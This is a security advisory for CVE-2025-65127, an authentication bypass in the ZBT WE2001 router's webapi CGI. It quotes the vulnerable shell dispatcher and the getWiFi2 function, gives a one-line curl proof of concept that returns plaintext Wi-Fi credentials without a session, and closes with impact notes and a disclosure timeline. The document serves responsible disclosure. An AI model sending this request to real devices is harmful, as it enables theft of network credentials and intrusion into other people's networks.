Summary
A lack of session validation in the web API component of Shenzhen Zhibotong Electronics ZBT WE2001 23.09.27 allows remote unauthenticated attackers to access administrative information-retrieval functions intended for authenticated users. By invoking get_* operations, attackers can obtain device configuration data, including plaintext credentials, without authentication or an existing session.
Details
The vulnerability is caused by a critical lack of session validation in the webapi and webapi.common components. The application maps the op parameter directly to various internal shell functions defined in webapi.common without invoking the check_token function or any other authentication gatekeeper. This architectural flaw exposes functions beginning with the get or get_ prefix to any unauthenticated user.
Note this functions where originally designed for administrative dashboard population.
As shown in the webapi definition file, the script acts as a dispatcher that triggers functions based on the user-supplied op value.
# File: webapi
if [ "$op" == "getWiFi2" ];then
getWiFi2
fi
The corresponding function in webapi.common for example getWiFi2() retrieves configuration values directly from the system’s UCI and returns them in a JSON format. This includes sensitive fields such as the SSID, encryption type, and, the plaintext password key for the wireless networks and other services.
# File: webapi.common
getWiFi2(){
#wlan0 is master and wlan1 is guest network
wifi_device="$(my_uci_get anyos.wifi.wifi2_device)"
wifi_iface=default_radio0
disabled="$(my_uci_get wireless.${wifi_device}.disabled)"
wifi_ifname="$(my_uci_get wireless.${wifi_iface}.ifname)"
if [ "$disabled" != "1" ];then
enabled="1"
else
enabled="0"
fi
country="$(my_uci_get wireless.${wifi_device}.country)"
channel="$(my_uci_get wireless.${wifi_device}.channel)"
if [ "$channel" == "undefined" ];then
channel=0
fi
bw="$(my_uci_get wireless.${wifi_device}.bw)"
if [ "$bw" != "1" ];then
htmode=ht20
else
htmode=ht40
fi
threshold="$(my_uci_get wireless.${wifi_device}.fragthres)"
[ -z "$threshold" ] && threshold="2346"
rts_threshold="$(my_uci_get wireless.${wifi_device}.rtsthres)"
[ -z "$rts_threshold" ] && rts_threshold="2347"
wmm="$(my_uci_get wireless.${wifi_device}.wmm)"
[ -z "$wmm" ] && wmm="1"
isolated="$(my_uci_get wireless.${wifi_device}.noforward)"
hidden="$(my_uci_get wireless.${wifi_iface}.hidden)"
if [ "$hidden" != "1" ];then
hidden="0"
fi
bssid="$(my_uci_get wireless.${wifi_iface}.macaddr)"
if [ "$bssid" == "" ];then
bssid="$(cat /sys/class/net/${wifi_ifname}/address)"
fi
ApCliEnable="$(my_uci_get wireless.default_radio0.ApCliEnable)"
ApCliEnable="$((ApCliEnable ^ 0))"
macfilter="$(wificonf -f /etc/wireless/${wifi_device}/${wifi_device}.dat get AccessPolicy0)"
# 0/disable as disable , 1/allow as whitelist , 2/deny as blacklist
if [ $macfilter == "0" ] || [ -z $macfilter ];then
macfilter="disable"
elif [ "$macfilter" == "1" ];then
macfilter="allow"
else
macfilter="deny"
fi
maclist="$(wificonf -f /etc/wireless/${wifi_device}/${wifi_device}.dat get AccessControlList0 | tr ';' ' ')"
json_init
json_add_string code "1"
json_add_string reason "getWiFi2 success"
json_add_string enabled "$enabled"
json_add_string country "$country"
json_add_string channel "$channel"
json_add_string htmode "$htmode"
json_add_string threshold "$threshold"
json_add_string rts_threshold "$rts_threshold"
json_add_string wmm "$wmm"
json_add_string isolated "$isolated"
json_add_string bssid "$bssid"
json_add_string ssid "$(my_uci_get wireless.${wifi_iface}.ssid)"
json_add_string hidden "$hidden"
json_add_string encryption "$(my_uci_get wireless.${wifi_iface}.encryption)"
json_add_string key "$(my_uci_get wireless.${wifi_iface}.key)"
json_add_string macfilter "$macfilter"
json_add_string ApCliEnable "$ApCliEnable"
json_add_string channel_disabled "$ApCliEnable"
json_add_array "maclist"
for mymac in $maclist;do
json_add_string mac $mymac
done
json_close_array
echo -n "$(json_dump)"
}
Since there is no session validation at any step of the function call in either file, an attacker can programmatically dump the entire configuration of the router.
PoC
An attacker can exploit this vulnerability by sending an HTTP request to the webapi endpoint with the desired operation. In this case, requesting getWiFi2 retrieves the full Wi-Fi configuration, including the plaintext password, without requiring any cookies or authentication headers.
curl --path-as-is -k "http://192.168.1.1/cgi-bin/webapi?op=getWiFi2"
Demonstration
Sensitive information, such as the 2.4G wireless password, set here as CVE-2025-65127_b1n4ri0, is intended to be accessible only to an authenticated administrator via the protected web panel.
Figure 1: Baseline configuration view within the authenticated administrative interface.
An HTTP request is issued to the vulnerable endpoint, with complete absence of authentication headers or session cookies in the request. The server responds with a JSON object containing the full wireless configuration, revealing the plaintext password that exactly matches the protected data shown in Figure 1.
Figure 2: Unauthenticated exfiltration of plaintext credentials.
Impact
Successful exploitation of this vulnerability allows an unauthenticated attacker to retrieve all sensitive service credentials and configuration data in plaintext. This bypasses the intended security model of the device, granting an attacker the same level of information access as a logged-in administrator. Since no authentication or existing session is required, this vulnerability represents a total loss of confidentiality for the device’s administrative data.
At the time of this publication, there is no official patch or remediation available from the vendor.
Disclosure Timeline
| Date |
Event |
| 2025-10-25 |
Initial report sent to MITRE. |
| 2025-12-15 |
CVE ID reserved/assigned by MITRE. |
| 2026-02-11 |
Public disclosure. |
Credits
Adrià Pérez Montoro (b1n4ri0)